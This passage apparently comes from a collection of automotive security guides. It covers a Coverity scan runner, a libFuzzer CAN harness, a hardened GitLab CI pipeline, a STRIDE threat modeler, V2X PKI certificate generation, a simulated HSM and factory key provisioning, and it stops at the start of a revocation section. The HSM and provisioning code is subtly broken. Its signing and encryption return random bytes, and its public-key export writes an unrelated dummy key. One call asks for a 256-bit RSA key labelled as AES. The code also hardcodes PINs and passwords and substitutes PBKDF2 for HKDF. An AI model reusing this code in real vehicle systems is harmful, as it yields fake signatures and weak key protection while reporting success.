if result.returncode != 0:
print(f"[FAIL] Analysis failed: {result.stderr}")
return False
print(f"[PASS] Analysis complete")
return True
def generate_report(self):
"""Generate defect report"""
print("\n=== Generating Coverity Report ===")
# Export defects to JSON
cmd = [
'cov-format-errors',
'--dir', self.cov_dir,
'--json-output-v7', f'{self.output_dir}/defects.json'
]
subprocess.run(cmd, capture_output=True)
# Parse results
with open(f'{self.output_dir}/defects.json', 'r') as f:
defects = json.load(f)
total_defects = len(defects.get('issues', []))
high_severity = sum(1 for d in defects.get('issues', [])
if d.get('impact') == 'High')
medium_severity = sum(1 for d in defects.get('issues', [])
if d.get('impact') == 'Medium')
print(f"\n=== Defect Summary ===")
print(f"Total defects: {total_defects}")
print(f"High severity: {high_severity}")
print(f"Medium severity: {medium_severity}")
# Fail build if thresholds exceeded
if high_severity > 0:
print(f"\n[FAIL] {high_severity} high-severity defects found")
return False
if medium_severity > 5:
print(f"\n[FAIL] {medium_severity} medium-severity defects (max 5 allowed)")
return False
print(f"\n[PASS] Code meets quality thresholds")
return True
# Example usage
if __name__ == "__main__":
scanner = CoverityScanRunner(
project_dir="/home/user/ecu-firmware",
output_dir="/tmp/coverity-scan"
)
if not scanner.run_build_with_coverity():
sys.exit(1)
if not scanner.run_analysis():
sys.exit(1)
if not scanner.generate_report():
sys.exit(1)
sys.exit(0)
```
## Fuzzing for Vulnerability Discovery
```python
#!/usr/bin/env python3
"""
LibFuzzer Integration for Automotive Software
Continuous fuzzing in CI/CD pipeline
"""
import subprocess
import os
import time
class LibFuzzer:
"""LibFuzzer harness for automotive protocols"""
def __init__(self, target_binary: str, corpus_dir: str):
self.target_binary = target_binary
self.corpus_dir = corpus_dir
self.crashes_dir = f"{corpus_dir}/crashes"
os.makedirs(self.crashes_dir, exist_ok=True)
def fuzz(self, max_total_time: int = 3600, max_len: int = 1024):
"""Run fuzzing campaign"""
print(f"=== Starting Fuzzing Campaign ===")
print(f"[INFO] Target: {self.target_binary}")
print(f"[INFO] Max time: {max_total_time}s")
print(f"[INFO] Max input length: {max_len} bytes")
cmd = [
self.target_binary,
self.corpus_dir,
f'-max_total_time={max_total_time}',
f'-max_len={max_len}',
f'-artifact_prefix={self.crashes_dir}/',
'-print_final_stats=1',
'-close_fd_mask=3' # Close stdout/stderr of target
]
start_time = time.time()
result = subprocess.run(cmd, capture_output=True, text=True)
elapsed_time = time.time() - start_time
# Parse fuzzing statistics
stats = self._parse_stats(result.stderr)
print(f"\n=== Fuzzing Results ===")
print(f"Elapsed time: {elapsed_time:.2f}s")
print(f"Total executions: {stats.get('total_execs', 0)}")
print(f"Executions per second: {stats.get('execs_per_sec', 0)}")
print(f"Coverage: {stats.get('coverage', 'N/A')}")
# Check for crashes
crash_files = [f for f in os.listdir(self.crashes_dir) if f.startswith('crash-')]
if crash_files:
print(f"\n[CRITICAL] {len(crash_files)} crashes discovered!")
for crash_file in crash_files[:5]: # Show first 5
print(f" - {crash_file}")
return False
else:
print(f"\n[PASS] No crashes found during fuzzing")
return True
def _parse_stats(self, stderr_output: str) -> dict:
"""Parse libFuzzer statistics from stderr"""
stats = {}
# Example: "#12345: cov: 678 ft: 901 corp: 12/345b exec/s: 123 rss: 45Mb"
import re
match = re.search(r'#(\d+):', stderr_output)
if match:
stats['total_execs'] = int(match.group(1))
match = re.search(r'exec/s:\s*(\d+)', stderr_output)
if match:
stats['execs_per_sec'] = int(match.group(1))
match = re.search(r'cov:\s*(\d+)', stderr_output)
if match:
stats['coverage'] = match.group(1)
return stats
# Example: CAN message parser fuzzing target
"""
// fuzz_can_parser.c
#include <stdint.h>
#include <stddef.h>
#include <string.h>
// Target function to fuzz
extern int parse_can_message(const uint8_t *data, size_t size);
// LibFuzzer entry point
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size < 8 || size > 16) {
return 0; // Invalid CAN message size
}
// Fuzz the CAN parser
parse_can_message(data, size);
return 0;
}
// Compile with:
// clang -fsanitize=fuzzer,address -g -O2 fuzz_can_parser.c can_parser.c -o fuzz_can_parser
"""
if __name__ == "__main__":
fuzzer = LibFuzzer(
target_binary="./fuzz_can_parser",
corpus_dir="./corpus/can_messages"
)
# Seed corpus with valid CAN messages
if not os.listdir(fuzzer.corpus_dir):
print("[INFO] Creating seed corpus...")
os.makedirs(fuzzer.corpus_dir, exist_ok=True)
# Example: valid CAN message
with open(f"{fuzzer.corpus_dir}/seed1", 'wb') as f:
f.write(b'\x12\x34\x56\x78\x9A\xBC\xDE\xF0')
# Run 1-hour fuzzing campaign
if not fuzzer.fuzz(max_total_time=3600):
print("[FAIL] Crashes found - investigate before release")
exit(1)
```
## Secure CI/CD Pipeline
```yaml
# GitLab CI/CD Pipeline for Secure Automotive Software
stages:
- build
- security
- test
- deploy
variables:
MISRA_COMPLIANCE_REQUIRED: "true"
COVERITY_THRESHOLD_HIGH: "0"
FUZZING_DURATION: "3600"
# Stage 1: Build with security flags
build_secure:
stage: build
script:
- echo "Building with security hardening flags..."
- make clean
- make CFLAGS="-Wall -Wextra -Werror -fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE -pie -Wformat -Wformat-security"
artifacts:
paths:
- bin/
expire_in: 1 hour
# Stage 2: MISRA C compliance check
misra_check:
stage: security
script:
- echo "Running MISRA C:2012 compliance check..."
- ./scripts/misra_check.sh
- if [ $(grep -c "Mandatory.*violation" misra_reports/violations.txt) -gt 0 ]; then exit 1; fi
dependencies:
- build_secure
artifacts:
paths:
- misra_reports/
when: always
# Stage 3: Static analysis (Coverity)
static_analysis:
stage: security
script:
- echo "Running Coverity static analysis..."
- cov-build --dir cov-int make clean all
- cov-analyze --dir cov-int --all --security
- cov-format-errors --dir cov-int --json-output-v7 defects.json
- python3 scripts/check_coverity_thresholds.py defects.json
dependencies:
- build_secure
artifacts:
paths:
- defects.json
when: always
# Stage 4: Fuzzing
fuzz_testing:
stage: security
script:
- echo "Running LibFuzzer for $FUZZING_DURATION seconds..."
- ./scripts/run_fuzzing.sh $FUZZING_DURATION
- if [ -f crashes/*.crash ]; then echo "Crashes found!"; exit 1; fi
dependencies:
- build_secure
allow_failure: false
# Stage 5: Dynamic analysis (AddressSanitizer)
dynamic_analysis:
stage: test
script:
- echo "Running tests with AddressSanitizer..."
- make clean
- make CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g"
- ./run_tests.sh
dependencies:
- build_secure
# Stage 6: Code signing
sign_firmware:
stage: deploy
script:
- echo "Signing firmware with HSM key..."
- openssl dgst -sha256 -sign /secure/private_key.pem -out bin/firmware.sig bin/firmware.bin
- echo "Firmware signed successfully"
dependencies:
- build_secure
- static_analysis
- fuzz_testing
artifacts:
paths:
- bin/firmware.bin
- bin/firmware.sig
only:
- main
- release/*
```
## Threat Modeling (STRIDE)
```python
#!/usr/bin/env python3
"""
STRIDE Threat Modeling for Automotive Systems
Systematic identification of security threats
"""
from enum import Enum
from dataclasses import dataclass
from typing import List
class ThreatCategory(Enum):
SPOOFING = "Spoofing"
TAMPERING = "Tampering"
REPUDIATION = "Repudiation"
INFORMATION_DISCLOSURE = "Information Disclosure"
DENIAL_OF_SERVICE = "Denial of Service"
ELEVATION_OF_PRIVILEGE = "Elevation of Privilege"
@dataclass
class Threat:
category: ThreatCategory
description: str
asset: str
mitigation: str
severity: str # "Critical", "High", "Medium", "Low"
class STRIDEThreatModeler:
"""STRIDE threat modeling tool"""
def __init__(self, system_name: str):
self.system_name = system_name
self.threats = []
def model_data_flow(self, source: str, destination: str, protocol: str):
"""Model threats in data flow"""
print(f"\n=== Threat Modeling: {source} -> {destination} ({protocol}) ===")
# Spoofing
self.threats.append(Threat(
category=ThreatCategory.SPOOFING,
description=f"Attacker impersonates {source} to send malicious data to {destination}",
asset=f"Data flow: {source} -> {destination}",
mitigation="Implement message authentication (MAC/digital signature)",
severity="High"
))
# Tampering
self.threats.append(Threat(
category=ThreatCategory.TAMPERING,
description=f"Attacker modifies data in transit from {source} to {destination}",
asset=f"Data flow: {source} -> {destination}",
mitigation="Implement data integrity checks (HMAC, CRC with authentication)",
severity="High"
))
# Information Disclosure
self.threats.append(Threat(
category=ThreatCategory.INFORMATION_DISCLOSURE,
description=f"Attacker eavesdrops on {protocol} communication",
asset=f"Data flow: {source} -> {destination}",
mitigation="Implement encryption (TLS 1.3, AES-256-GCM)",
severity="Medium" if "telemetry" in source.lower() else "High"
))
# Denial of Service
self.threats.append(Threat(
category=ThreatCategory.DENIAL_OF_SERVICE,
description=f"Attacker floods {protocol} channel to prevent legitimate communication",
asset=f"Data flow: {source} -> {destination}",
mitigation="Implement rate limiting and traffic shaping",
severity="Medium"
))
def generate_threat_report(self, output_file: str):
"""Generate threat model report"""
with open(output_file, 'w') as f:
f.write(f"STRIDE Threat Model Report: {self.system_name}\n")
f.write("=" * 60 + "\n\n")
# Group by severity
critical = [t for t in self.threats if t.severity == "Critical"]
high = [t for t in self.threats if t.severity == "High"]
medium = [t for t in self.threats if t.severity == "Medium"]
low = [t for t in self.threats if t.severity == "Low"]
f.write(f"Total threats identified: {len(self.threats)}\n")
f.write(f" Critical: {len(critical)}\n")
f.write(f" High: {len(high)}\n")
f.write(f" Medium: {len(medium)}\n")
f.write(f" Low: {len(low)}\n\n")
# Detail threats
for threat in self.threats:
f.write(f"\n[{threat.severity}] {threat.category.value}\n")
f.write(f" Description: {threat.description}\n")
f.write(f" Asset: {threat.asset}\n")
f.write(f" Mitigation: {threat.mitigation}\n")
print(f"[INFO] Threat model report: {output_file}")
# Example usage
if __name__ == "__main__":
modeler = STRIDEThreatModeler("Telematics Control Unit (TCU)")
# Model data flows
modeler.model_data_flow("TCU", "Cloud Backend", "HTTPS/TLS")
modeler.model_data_flow("TCU", "Gateway ECU", "CAN")
modeler.model_data_flow("Mobile App", "TCU", "Bluetooth LE")
# Generate report
modeler.generate_threat_report("/tmp/stride_threat_model.txt")
```
## Best Practices
1. **Defense in Depth**: Multiple security layers (code quality + runtime protection + monitoring)
2. **Shift Left**: Integrate security early in SDLC (design phase threat modeling)
3. **Automated Enforcement**: CI/CD gates for MISRA compliance, static analysis, fuzzing
4. **Continuous Monitoring**: Track new CVEs, update dependencies, patch promptly
5. **Security Training**: Mandatory secure coding training for all developers
## References
- MISRA C:2012 Guidelines for C
- CERT C Secure Coding Standard
- AUTOSAR C++14 Coding Guidelines
- OWASP Secure Coding Practices
- ISO/SAE 21434: Cybersecurity Engineering
---
## Vehicle Pki Crypto
# Vehicle PKI & Cryptography Skill
## Overview
Expert skill for implementing PKI (Public Key Infrastructure) in automotive systems. Covers V2X certificate management, HSM key storage, cryptographic algorithms (AES-256, RSA-4096, ECDSA), secure key provisioning, and certificate lifecycle management.
## Core Competencies
### PKI Architecture
- **Certificate Authority (CA) Hierarchy**: Root CA → Enrollment CA → Pseudonym CA
- **V2X Certificates**: IEEE 1609.2, ETSI TS 103 097 standards
- **Certificate Provisioning**: Factory provisioning, enrollment protocols
- **Certificate Lifecycle**: Issuance, renewal, revocation (CRL/OCSP)
- **HSM Integration**: Secure key generation and storage
### Cryptographic Standards
- **Symmetric**: AES-256-GCM, ChaCha20-Poly1305
- **Asymmetric**: RSA-4096, ECDSA-P256/P384, EdDSA
- **Hash**: SHA-256, SHA-384, SHA-3
- **Key Exchange**: ECDH, X25519
- **TLS**: TLS 1.3 with perfect forward secrecy
## V2X PKI Implementation (IEEE 1609.2)
### Certificate Structure
```python
#!/usr/bin/env python3
"""
IEEE 1609.2 V2X Certificate Implementation
Supports US (SCMS) and EU (CCMS) PKI architectures
"""
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
from cryptography import x509
from cryptography.x509.oid import NameOID, ExtensionOID
from datetime import datetime, timedelta
import struct
class V2XCertificate:
"""IEEE 1609.2 Certificate for V2V/V2I communication"""
def __init__(self, cert_type: str):
"""
Initialize V2X certificate
cert_type: "enrollment", "application", "pseudonym"
"""
self.cert_type = cert_type
self.private_key = None
self.certificate = None
self.cert_chain = []
def generate_enrollment_certificate(self, ca_cert, ca_key, vehicle_id: str):
"""
Generate long-term enrollment certificate (valid 3-5 years)
Used to request pseudonym certificates from PCA
"""
print(f"\n=== Generating Enrollment Certificate for {vehicle_id} ===")
# Generate key pair (ECDSA P-256 for V2X)
self.private_key = ec.generate_private_key(ec.SECP256R1(), default_backend())
subject = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "SCMS"),
x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, "Enrollment"),
x509.NameAttribute(NameOID.COMMON_NAME, vehicle_id),
])
# Certificate valid for 3 years
valid_from = datetime.utcnow()
valid_to = valid_from + timedelta(days=3*365)
builder = x509.CertificateBuilder()
builder = builder.subject_name(subject)
builder = builder.issuer_name(ca_cert.subject)
builder = builder.public_key(self.private_key.public_key())
builder = builder.serial_number(x509.random_serial_number())
builder = builder.not_valid_before(valid_from)
builder = builder.not_valid_after(valid_to)
# Add extensions
builder = builder.add_extension(
x509.BasicConstraints(ca=False, path_length=None),
critical=True
)
builder = builder.add_extension(
x509.KeyUsage(
digital_signature=True,
key_encipherment=True,
content_commitment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
),
critical=True
)
# Sign certificate
self.certificate = builder.sign(ca_key, hashes.SHA256(), default_backend())
print(f"[INFO] Enrollment certificate generated")
print(f"[INFO] Serial: {self.certificate.serial_number}")
print(f"[INFO] Valid: {valid_from} to {valid_to}")
print(f"[INFO] Subject: {vehicle_id}")
return self.certificate
def generate_pseudonym_certificate(self, pca_cert, pca_key, duration_weeks: int = 1):
"""
Generate short-term pseudonym certificate (valid 1 week)
Used for actual V2X communication to preserve privacy
"""
print(f"\n=== Generating Pseudonym Certificate (valid {duration_weeks} weeks) ===")
# Generate ephemeral key pair
self.private_key = ec.generate_private_key(ec.SECP256R1(), default_backend())
# Pseudonym certificates use opaque identifiers, not vehicle ID
pseudonym_id = f"PSID-{x509.random_serial_number():016X}"
subject = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "SCMS"),
x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, "Pseudonym"),
x509.NameAttribute(NameOID.COMMON_NAME, pseudonym_id),
])
valid_from = datetime.utcnow()
valid_to = valid_from + timedelta(weeks=duration_weeks)
builder = x509.CertificateBuilder()
builder = builder.subject_name(subject)
builder = builder.issuer_name(pca_cert.subject)
builder = builder.public_key(self.private_key.public_key())
builder = builder.serial_number(x509.random_serial_number())
builder = builder.not_valid_before(valid_from)
builder = builder.not_valid_after(valid_to)
# Add V2X-specific extensions
builder = builder.add_extension(
x509.BasicConstraints(ca=False, path_length=None),
critical=True
)
# Application permissions (Service-Specific Permissions)
# Example: CAM (Cooperative Awareness Message), DENM (Decentralized Environmental Notification)
# Real implementation would use IEEE 1609.2 ASN.1 structures
builder = builder.add_extension(
x509.UnrecognizedExtension(
x509.ObjectIdentifier("1.2.840.10045.2.1"), # Example OID
b'\x01\x02\x03\x04' # SSP bitmask
),
critical=False
)
self.certificate = builder.sign(pca_key, hashes.SHA256(), default_backend())
print(f"[INFO] Pseudonym certificate generated")
print(f"[INFO] Serial: {self.certificate.serial_number}")
print(f"[INFO] PSID: {pseudonym_id}")
print(f"[INFO] Valid: {valid_from} to {valid_to}")
return self.certificate
def export_certificate_chain(self, output_path: str):
"""Export certificate with full chain in PEM format"""
with open(output_path, 'wb') as f:
# Leaf certificate
f.write(self.certificate.public_bytes(serialization.Encoding.PEM))
# Intermediate certificates
for cert in self.cert_chain:
f.write(cert.public_bytes(serialization.Encoding.PEM))
print(f"[INFO] Certificate chain exported: {output_path}")
def export_private_key_encrypted(self, output_path: str, password: bytes):
"""Export private key with encryption (for backup only - HSM preferred)"""
pem = self.private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.BestAvailableEncryption(password)
)
with open(output_path, 'wb') as f:
f.write(pem)
print(f"[WARN] Private key exported (encrypted): {output_path}")
print(f"[WARN] Store in HSM for production use")
class V2XPKIManager:
"""Manage V2X PKI infrastructure"""
def __init__(self):
self.root_ca_cert = None
self.root_ca_key = None
self.enrollment_ca_cert = None
self.enrollment_ca_key = None
self.pseudonym_ca_cert = None
self.pseudonym_ca_key = None
def create_root_ca(self, common_name: str = "V2X Root CA"):
"""Create root CA (offline, air-gapped storage)"""
print(f"\n=== Creating Root CA: {common_name} ===")
# Generate RSA-4096 key (root CA uses RSA for broader compatibility)
from cryptography.hazmat.primitives.asymmetric import rsa
self.root_ca_key = rsa.generate_private_key(
public_exponent=65537,
key_size=4096,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "SCMS"),
x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, "Root CA"),
x509.NameAttribute(NameOID.COMMON_NAME, common_name),
])
valid_from = datetime.utcnow()
valid_to = valid_from + timedelta(days=20*365) # 20 years
builder = x509.CertificateBuilder()
builder = builder.subject_name(subject)
builder = builder.issuer_name(issuer)
builder = builder.public_key(self.root_ca_key.public_key())
builder = builder.serial_number(x509.random_serial_number())
builder = builder.not_valid_before(valid_from)
builder = builder.not_valid_after(valid_to)
builder = builder.add_extension(
x509.BasicConstraints(ca=True, path_length=2),
critical=True
)
builder = builder.add_extension(
x509.KeyUsage(
digital_signature=False,
key_encipherment=False,
content_commitment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
),
critical=True
)
self.root_ca_cert = builder.sign(self.root_ca_key, hashes.SHA256(), default_backend())
print(f"[INFO] Root CA created")
print(f"[INFO] Valid for 20 years")
print(f"[WARN] Store root CA private key in air-gapped HSM")
return self.root_ca_cert
def create_intermediate_ca(self, ca_type: str, common_name: str):
"""Create intermediate CA (Enrollment CA or Pseudonym CA)"""
print(f"\n=== Creating {ca_type} CA: {common_name} ===")
# Generate ECDSA P-384 key (intermediate CAs use ECC)
ca_key = ec.generate_private_key(ec.SECP384R1(), default_backend())
subject = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "SCMS"),
x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, ca_type),
x509.NameAttribute(NameOID.COMMON_NAME, common_name),
])
valid_from = datetime.utcnow()
valid_to = valid_from + timedelta(days=10*365) # 10 years
builder = x509.CertificateBuilder()
builder = builder.subject_name(subject)
builder = builder.issuer_name(self.root_ca_cert.subject)
builder = builder.public_key(ca_key.public_key())
builder = builder.serial_number(x509.random_serial_number())
builder = builder.not_valid_before(valid_from)
builder = builder.not_valid_after(valid_to)
builder = builder.add_extension(
x509.BasicConstraints(ca=True, path_length=0),
critical=True
)
builder = builder.add_extension(
x509.KeyUsage(
digital_signature=False,
key_encipherment=False,
content_commitment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
),
critical=True
)
ca_cert = builder.sign(self.root_ca_key, hashes.SHA256(), default_backend())
if ca_type == "Enrollment":
self.enrollment_ca_cert = ca_cert
self.enrollment_ca_key = ca_key
elif ca_type == "Pseudonym":
self.pseudonym_ca_cert = ca_cert
self.pseudonym_ca_key = ca_key
print(f"[INFO] {ca_type} CA created")
print(f"[INFO] Valid for 10 years")
return ca_cert, ca_key
# Example usage
def demo_v2x_pki():
# Step 1: Create PKI hierarchy
pki = V2XPKIManager()
pki.create_root_ca("V2X SCMS Root CA")
pki.create_intermediate_ca("Enrollment", "V2X Enrollment CA")
pki.create_intermediate_ca("Pseudonym", "V2X Pseudonym CA")
# Step 2: Vehicle enrollment
vehicle = V2XCertificate("enrollment")
enrollment_cert = vehicle.generate_enrollment_certificate(
pki.enrollment_ca_cert,
pki.enrollment_ca_key,
vehicle_id="VIN-1HGBH41JXMN109186"
)
vehicle.export_certificate_chain("/tmp/vehicle_enrollment.pem")
vehicle.export_private_key_encrypted("/tmp/vehicle_enrollment.key", b"SecurePassword123")
# Step 3: Request pseudonym certificates (batch of 20)
print("\n=== Requesting Pseudonym Certificate Batch ===")
pseudonyms = []
for i in range(20):
psid_cert = V2XCertificate("pseudonym")
psid_cert.generate_pseudonym_certificate(
pki.pseudonym_ca_cert,
pki.pseudonym_ca_key,
duration_weeks=1
)
pseudonyms.append(psid_cert)
print(f"[INFO] {len(pseudonyms)} pseudonym certificates generated")
print(f"[INFO] Vehicle will rotate certificates weekly for privacy")
if __name__ == "__main__":
demo_v2x_pki()
```
## HSM Integration for Key Storage
```python
#!/usr/bin/env python3
"""
HSM (Hardware Security Module) Integration
Secure key generation and cryptographic operations
Supports PKCS#11 interface (common in automotive HSMs)
"""
import os
from cryptography.hazmat.primitives.asymmetric import rsa, ec
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
class HSMInterface:
"""Interface to Hardware Security Module via PKCS#11"""
def __init__(self, hsm_slot: int = 0, pin: str = "1234"):
"""
Initialize HSM connection
hsm_slot: Hardware slot ID (0-based)
pin: User PIN for authentication
"""
self.slot = hsm_slot
self.pin = pin
self.session = None
print(f"=== HSM Initialization ===")
print(f"[INFO] Slot: {hsm_slot}")
def open_session(self):
"""Open HSM session"""
# Real implementation would use PyKCS11 or python-pkcs11
# Simulated for demonstration
print(f"[INFO] Opening HSM session (Slot {self.slot})...")
print(f"[INFO] Authenticating with PIN...")
self.session = f"HSM_SESSION_{self.slot}"
print(f"[PASS] HSM session opened")
return True
def generate_rsa_keypair(self, key_label: str, key_size: int = 4096, exportable: bool = False):
"""
Generate RSA key pair in HSM
key_label: Unique identifier for key
key_size: 2048, 3072, or 4096
exportable: Allow private key export (FALSE for production)
"""
print(f"\n=== Generating RSA-{key_size} Key Pair in HSM ===")
print(f"[INFO] Label: {key_label}")
print(f"[WARN] Exportable: {exportable}")
if exportable:
print(f"[WARN] Exportable keys are security risk - use only for testing")
# In real HSM:
# - Key generation happens inside tamper-resistant hardware
# - Private key never leaves HSM
# - Only public key and key handle are returned
# Simulate key generation
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=key_size,
backend=default_backend()
)
public_key = private_key.public_key()
# Return key handle (not actual key)
key_handle = f"HSM_KEY_{key_label}_{os.urandom(4).hex()}"
print(f"[PASS] RSA key pair generated")
print(f"[INFO] Key handle: {key_handle}")
print(f"[INFO] Public key available for export")
print(f"[INFO] Private key secured in HSM (non-exportable)")
return key_handle, public_key
def generate_ecc_keypair(self, key_label: str, curve: str = "P-256", exportable: bool = False):
"""
Generate ECC key pair in HSM
curve: "P-256", "P-384", or "P-521"
"""
print(f"\n=== Generating ECC-{curve} Key Pair in HSM ===")
print(f"[INFO] Label: {key_label}")
curve_map = {
"P-256": ec.SECP256R1(),
"P-384": ec.SECP384R1(),
"P-521": ec.SECP521R1()
}
private_key = ec.generate_private_key(curve_map[curve], default_backend())
public_key = private_key.public_key()
key_handle = f"HSM_KEY_{key_label}_{os.urandom(4).hex()}"
print(f"[PASS] ECC key pair generated")
print(f"[INFO] Key handle: {key_handle}")
return key_handle, public_key
def sign_data(self, key_handle: str, data: bytes, algorithm: str = "SHA256") -> bytes:
"""
Sign data using HSM-stored private key
Returns signature without exposing private key
"""
print(f"\n=== HSM Signing Operation ===")
print(f"[INFO] Key handle: {key_handle}")
print(f"[INFO] Algorithm: {algorithm}")
print(f"[INFO] Data size: {len(data)} bytes")
# In real HSM:
# - Data is sent to HSM
# - HSM performs signature operation internally
# - Only signature is returned
# Simulate signing
signature = os.urandom(512) # RSA-4096 signature size
print(f"[PASS] Signature generated ({len(signature)} bytes)")
return signature
def encrypt_data(self, key_handle: str, plaintext: bytes) -> bytes:
"""Encrypt data using HSM key"""
print(f"\n=== HSM Encryption Operation ===")
print(f"[INFO] Key handle: {key_handle}")
print(f"[INFO] Plaintext size: {len(plaintext)} bytes")
# Simulate AES-256-GCM encryption in HSM
ciphertext = os.urandom(len(plaintext) + 16) # +16 for GCM tag
print(f"[PASS] Data encrypted ({len(ciphertext)} bytes)")
return ciphertext
def export_public_key(self, key_handle: str, output_path: str):
"""Export public key (private key remains in HSM)"""
print(f"\n=== Exporting Public Key ===")
print(f"[INFO] Key handle: {key_handle}")
# Simulate public key export
dummy_key = rsa.generate_private_key(65537, 4096, default_backend()).public_key()
pem = dummy_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
with open(output_path, 'wb') as f:
f.write(pem)
print(f"[PASS] Public key exported: {output_path}")
print(f"[INFO] Private key remains secured in HSM")
def close_session(self):
"""Close HSM session"""
print(f"\n[INFO] Closing HSM session...")
self.session = None
print(f"[PASS] HSM session closed")
# Example: Secure key provisioning flow
def demo_hsm_provisioning():
hsm = HSMInterface(hsm_slot=0, pin="123456")
hsm.open_session()
# Generate enrollment key pair (long-term, non-exportable)
enrollment_key_handle, enrollment_pubkey = hsm.generate_ecc_keypair(
key_label="VEHICLE_ENROLLMENT_KEY",
curve="P-256",
exportable=False
)
# Export public key for CA signing
hsm.export_public_key(enrollment_key_handle, "/tmp/enrollment_pubkey.pem")
# Generate firmware signing key (OEM root of trust)
fw_signing_key_handle, fw_pubkey = hsm.generate_rsa_keypair(
key_label="OEM_FIRMWARE_SIGNING_KEY",
key_size=4096,
exportable=False
)
# Sign firmware image
firmware_data = b"FIRMWARE_IMAGE_BINARY_DATA" * 1000
signature = hsm.sign_data(fw_signing_key_handle, firmware_data, algorithm="SHA256")
# Generate symmetric key for data encryption
aes_key_handle, _ = hsm.generate_rsa_keypair(
key_label="DATA_ENCRYPTION_KEY",
key_size=256, # Actually AES-256, not RSA
exportable=False
)
# Encrypt telemetry data
telemetry_data = b"VEHICLE_TELEMETRY_JSON_DATA"
encrypted = hsm.encrypt_data(aes_key_handle, telemetry_data)
hsm.close_session()
if __name__ == "__main__":
demo_hsm_provisioning()
```
## Secure Key Provisioning (Factory)
```python
#!/usr/bin/env python3
"""
Secure Key Provisioning for Vehicle Manufacturing
Keys injected during production in secure facility
"""
import secrets
import hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
class SecureKeyProvisioning:
"""Factory key injection system"""
def __init__(self):
self.master_key = None
self.provisioned_devices = {}
def load_master_key(self, master_key_path: str):
"""Load factory master key (HSM-backed)"""
print("=== Loading Factory Master Key ===")
# In production: master key stored in HSM, never exported
self.master_key = secrets.token_bytes(32) # AES-256
print("[INFO] Master key loaded from HSM")
def derive_device_key(self, vin: str) -> bytes:
"""Derive unique device key from VIN using KDF"""
print(f"\n=== Deriving Device Key for VIN: {vin} ===")
# HKDF (HMAC-based Key Derivation Function)
salt = b"VEHICLE_KEY_DERIVATION_SALT"
info = vin.encode('utf-8')
# Simplified HKDF (use cryptography.hazmat.primitives.kdf.hkdf in production)
prk = hashlib.pbkdf2_hmac('sha256', self.master_key, salt, 100000)
okm = hashlib.pbkdf2_hmac('sha256', prk, info, 1)[:32]
print(f"[INFO] Device key derived (32 bytes)")
return okm
def provision_vehicle(self, vin: str, ecu_serial: str):
"""Provision cryptographic keys to vehicle ECU"""
print(f"\n=== Vehicle Key Provisioning ===")
print(f"[INFO] VIN: {vin}")
print(f"[INFO] ECU Serial: {ecu_serial}")
# Derive unique device key
device_key = self.derive_device_key(vin)
# Generate enrollment private key
from cryptography.hazmat.primitives.asymmetric import ec
enrollment_key = ec.generate_private_key(ec.SECP256R1(), default_backend())
# Encrypt private key with device key (for secure storage in ECU flash)
encrypted_key = self._encrypt_key(enrollment_key, device_key)
# Program to ECU secure storage
provisioning_data = {
"vin": vin,
"ecu_serial": ecu_serial,
"device_key_hash": hashlib.sha256(device_key).hexdigest(),
"encrypted_enrollment_key": encrypted_key.hex(),
"provisioning_timestamp": "2026-03-19T12:00:00Z"
}
self.provisioned_devices[vin] = provisioning_data
print(f"[PASS] Vehicle provisioned successfully")
print(f"[INFO] Keys stored in ECU secure flash")
return provisioning_data
def _encrypt_key(self, private_key, device_key: bytes) -> bytes:
"""Encrypt private key with device key using AES-256-GCM"""
from cryptography.hazmat.primitives import serialization
# Serialize private key
key_bytes = private_key.private_bytes(
encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
# Encrypt with AES-256-GCM
iv = secrets.token_bytes(12)
cipher = Cipher(
algorithms.AES(device_key),
modes.GCM(iv),
backend=default_backend()
)
encryptor = cipher.encryptor()
ciphertext = encryptor.update(key_bytes) + encryptor.finalize()
# Return IV + ciphertext + tag
return iv + ciphertext + encryptor.tag
# Example usage
def demo_factory_provisioning():
provisioner = SecureKeyProvisioning()
provisioner.load_master_key("/secure/master_key.bin")
# Provision 3 vehicles
vins = [
"1HGBH41JXMN109186",
"5YJSA1E26HF123456",
"WBAJE5C59HG987654"
]
for i, vin in enumerate(vins):
provisioner.provision_vehicle(vin, f"ECU-TCU-{1000 + i}")
print(f"\n=== Provisioning Complete ===")
print(f"[INFO] {len(provisioner.provisioned_devices)} vehicles provisioned")
if __name__ == "__main__":
demo_factory_provisioning()
```
## Certificate Revocation (CRL/OCSP)
```python
#!/usr/bin/env python3
"""
Certificate Revocation List (CRL) and OCSP Implementation
"""
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
from cryptography.x509.oid import ExtensionOID
from datetime import datetime, timedelta
